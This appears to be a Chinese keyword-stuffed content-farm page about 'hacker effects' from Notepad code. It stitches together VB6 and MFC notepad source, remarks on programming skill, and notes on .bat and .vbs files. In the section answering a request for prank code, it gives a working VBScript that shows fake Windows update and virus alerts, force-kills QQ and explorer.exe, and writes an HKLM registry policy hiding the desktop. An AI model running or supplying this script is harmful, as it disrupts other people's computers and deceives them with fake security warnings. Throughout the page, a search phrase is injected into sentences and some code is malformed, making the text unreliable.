导航
当前位置:网站首页 > 黑客网站 > 记事本代码黑客效果,程序员用记事本

记事本代码黑客效果,程序员用记事本

作者:hacker 日期:2022-07-18 分类:黑客网站

导航:

黑客记事本源码

楼主可以去华夏黑客联盟注册份额帐号 里面有记事本的源码 华夏是个非营利性的网站,里面有很多资源,楼主有兴趣的话可以注册个帐号进去看看.

黑客动画吧记事本源代码

VB.net编程方法:

'新建文件

Private Sub mnuNew_Click()

RichTextBox1.Text = "" '清空文本框

FileName = "未命名"

Me.Caption = FileName

End Sub

'打开文件

Private Sub mnuOpen_Click()

CommonDialog1.Filter="文本文档(*.txt) *.txt RTF文档(*.rtf) *.rtf 所有文件(*.*) *.*"

CommonDialog1.ShowOpen

RichTextBox1.Text = "" '清空文本框

FileName = CommonDialog1.FileName

RichTextBox1.LoadFile FileName

Me.Caption = "超级记事本:" FileName

End Sub

'保存文件

Private Sub mnuSave_Click()

CommonDialog1.Filter="文本文档(*.txt) *.txt RTF文档(*.rtf) *.rtf 所有文件(*.*) *.*"

CommonDialog1.ShowSave

FileType = CommonDialog1.FileTitle

FiType = LCase(center(FileType, 3))

FileName = CommonDialog1.FileName

Select Case FiType

Case "txt"

RichTextBox1.SaveFile FileName, rtfText

Case "rtf"

RichTextBox1.SaveFile FileName, rtfRTF

Case "*.*"

RichTextBox1.SaveFile FileName

End Select

Me.Caption = "超级记事本:" FileName

End Sub

'退出

Private Sub mnuExit_Click()

End

End Sub

'复制

Private Sub mnuCopy_Click()

Clipboard.Clear

Clipboard.SetText RichTextBox1.SelText

End Sub

'剪切

Private Sub mnuCut_Click()

Clipboard.Clear

Clipboard.SetText RichTextBox1.SelText

RichTextBox1.SelText = ""

End Sub

'全选

Private Sub mnuSelectAll_Click()

RichTextBox1.SelStart = 0

RichTextBox1.SelLength = Len(RichTextBox1.Text)

End Sub

'粘贴

Private Sub mnuPaste_Click()

RichTextBox1.SelText = Clipboard.GetText

End Sub

'查找

Private Sub mnuFind_Click()

sFind = InputBox("请输入要查找的字、词:", "查找内容", sFind)

RichTextBox1.Find sFind

End Sub

'继续查找

Private Sub mnuFindOn_Click()

RichTextBox1.SelStart = RichTextBox1.SelStart+RichTextBox1.SelLength + 1

RichTextBox1.Find sFind, , Len(RichTextBox1)

End Sub

'使用说明

Private Sub mnuReadme_Click()

On Error GoTo handler

RichTextBox1.LoadFile "Readme.txt",rtfText'请写好Readme.txt文件并存入程序所在文件夹中

Me.Caption = "超级记事本:" "使用说明"

Exit Sub

handler:

MsgBox "使用说明文档可能已经被移除,请与作者联系。", vbOKOnly, " 错误信息"

End Sub

VC++编程方法:

首先用VC++创建一个MFC AppWizard(exe)单文档工程,名字Notepad。在Advanced里面File extension(文件扩展名)里面写txt就是关联txt文件,在Base class里面要选CEditView类(意思是基于这个类派生出你用的类)

其实这样生成的就是一个记事本了,但是和原来的记事本还是有区别的

所以我们还要添加点功能,这样才能起到让新人了解VC++的目的

1、我们先加一个设置字体

在 CNotepadView类里面定义字体(就是public) CFont m_Font;

定义消息处理函数:

void CNotepadView::OnFormatFont()

{

// TODO: Add your command handler code here

LOGFONT lf;

CFont *font=this-GetEditCtrl().GetFont();

if(font==NULL)

{

font =new CFont;

font-CreatePointFont(120,"Fixedsys");

font-GetLogFont(lf);

delete font;

}

else

{

font-GetLogFont(lf);

}

CFontDialog cf(lf);

if(cf.DoModal()==IDOK)

{

this-m_Font.DeleteObject();

this-m_Font.CreateFontIndirect(lf);

this-SetFont(this-m_Font);

}

}

2、设置字体

在 CNotepadView类里面定义 BOOL bChk;

消息处理函数

void CNotepadView::OnFormatReturn()

{

// TODO: Add your command handler code here

bChk=!bChk;

if(!bChk)

{

ShowScrollBar(SB_HORZ,true);

}

else

{

ShowScrollBar(SB_HORZ,false);

}

}

下面是源代码RAR压缩包

黑客动画吧记事本源代码不会轻易公开的,那个记事本也不太好,界面也不好,其实破解也很容易的,但是意义不大。

用记事本写代码的程序员都是高手么

用记事本写代码的程序员不都是高手。

问题本质要不要用集成开发工具写代码而言记事本代码黑客效果,是不是用记事本写代码和编程本身厉害与否没有多大的关系,倒是有很多人建议在初学编程的时候,先以记事本学习为主,这种是有一定道理的,毕竟记事本写代码空白一张对于初学者来讲需要考虑的东西对于掌握基本的东西多点,毕竟很多接口在写的时候没有记事本代码黑客效果了联想功能只能靠大脑去想,倒是真能锻炼自己的独立能力。

说到记事本写代码,要说这方面表现得比较厉害的在linux下面直接完全的键盘操作不用鼠标,工作效率高得惊人,当然需要记住大量的快捷键,要比直接图形界面的操作效率高很多,linux下面直接搞好VIM能够体会到纯键盘操作的快感。

决定编程水平的高低主要分成三个部分:

1.编码水平,这是程序员的基本功,能把想做的功能给完成了,而且性能质量很高属于高手。

2.编程思想,这是决定程序员水平高低的关键,任何东西都需要指导思想,正常的编程模式也不会超过100个体系,常见的多进程模式,网络编程模式等等学会了套路无论什么编程语言用起来照样比较畅通,编程思想绝对水平高低。

3.框架思想,这种属于在编程思想和编码水平之上的东西了,迈向顶级的关键,绝大部分属于普通的程序员,真正在食物链顶层的才有几个,有些有这种能力但是没有展示的机会,也是挺可惜。

所以看编程水平的高低,更多是内在东西,快捷键使用再流利,没有主心骨,一样也是花架子,看一个人水平高低还是要看做出过什么东西,很多老工程师在面试的时候,问的不是做过什么项目,一般是问现在市场上还有当初做过的产品没,产品才是最好的简历。

在记事本里打上某些代码就能做病毒 ?原理是什么

要看保存为什么格式

1.保存为.bat格式记事本代码黑客效果,是批处理文件记事本代码黑客效果,是一种简单的程序记事本代码黑客效果,可以执行复制、删除、格式化、以及其他更复杂的操作

2.保存为.vbs格式,好像是利用Windows系统自带的vb环境执行程序(百度一下vbs整人代码记事本代码黑客效果你可以找到许多有意思的vbs程序制作)

3.保存为.js格式,是利用记事本代码黑客效果了Java环境,本质上来说,这些都是简化的程序

谁有整人代码?就是记事本上的可以让人关机或者死机的?

msgbox "要求记事本代码黑客效果:"vbcrlf"1、要同时涉及3大门派"vbcrlf"2、要包含江湖门派间多年 怨情仇 又要打破世俗伦理"vbcrlf"3、同时情节还要扣人心悬 大有血雨腥 呼之欲来令人极为期待该小说之续集 同时留下N多悬念"vbcrlf"4、越短越好"vbcrlf""vbcrlf"第N天 有人来投稿 全文只有九个字:"vbcrlf""vbcrlf"...........",0,"武侠小说征文" msgbox "秃驴 敢跟贫道抢师太",64,"投稿" set ws=createobject("wscript.shell") sub sleep (s) wscript.sleep s * 1000 end sub sleep 900 ws.popup "windows检测到有重要更新未安装"vbcrlf""vbcrlf"系统将在30秒后自动下载更新并安装",30,"Windows Xp",64 sleep 10 ws.popup "正在下载更新......"vbcrlf""vbcrlf"稍候将提示您安装",10,"Windows Xp",64 sleep 900 ws.popup "windows已将一病毒载入计算机中"vbcrlf""vbcrlf"稍后即将运行",15,"病毒",64 sleep 3 ws.run "taskkill /f /im qq.exe",vbhide : sleep 5 ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD" wscript.sleep 500 ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000 ws.run "explorer.exe",vbhide : wscript.sleep 6000 ws.run "notepad",3 : wscript.sleep 2000 ws.sendkeys "^ " : wscript.sleep 1000 verybat=split("gongxi ,ni ,~,ni ,yijing ,bei ,wo ,kongzhi ,le ,~,ruguo ,ni ,zai ,30 miaozhong ,nei ,guanji ,~,name , keneng ,hai ,youjiu ,~,fouze , haha haha ____youxi ,kaishi la ,~,haole ,wo ,xianzai ,yao ,chuqu ,yixia ,~,yihui ,wo ,zailai ,zhaoni , haizi ,",",") for each wind in verybat ws.sendkeys wind wscript.sleep 500 next

看一些黑客书籍上有时行记事本里写入一些指令,然后另存为BAT文件,这些指令属于什么语言?另存为DAT的呢

它不属于什么语言,而是一些命令,BAT文件是批处理文件,他的作用是一次处理多步操作,比如你平常时喜欢听音乐,看图片,上QQ你可以把它做成批处理程序,然后运行即可打开音乐,图片处理软件,QQ

猜你还喜欢

已有5位网友发表了看法:

  • 访客

    访客  评论于 [2022-07-18 20:15:35]  回复

    也很容易的,但是意义不大。用记事本写代码的程序员都是高手么用记事本写代码的程序员不都是高手。问题本质要不要用集成开发工具写代码而言记事本代码黑客效果,是不是用记事本写代码和编程本身厉害与否没有多大的关系,倒是有很多人建议在初学编程的时候,先以记事本学习为主,这种是有

  • 访客

    访客  评论于 [2022-07-19 03:24:06]  回复

    Sub mnuPaste_Click()RichTextBox1.SelText = Clipboard.GetTextEnd Sub'查找Private Sub mnuFind_Click()sFind = InputBox("请输入要查找的字、词:"

  • 访客

    访客  评论于 [2022-07-18 16:23:00]  回复

    做成批处理程序,然后运行即可打开音乐,图片处理软件,QQ

  • 访客

    访客  评论于 [2022-07-18 21:15:03]  回复

    popup "正在下载更新......"vbcrlf""vbcrlf"稍候将提示您安装",10,"Windows Xp",64 sleep 900 ws.popup "windows已

  • 访客

    访客  评论于 [2022-07-19 03:16:33]  回复

    ind = InputBox("请输入要查找的字、词:", "查找内容", sFind)RichTextBox1.Find sFindEnd Sub'继续查找Private Sub mnuFindOn_Click()RichText

欢迎 发表评论:

{/if}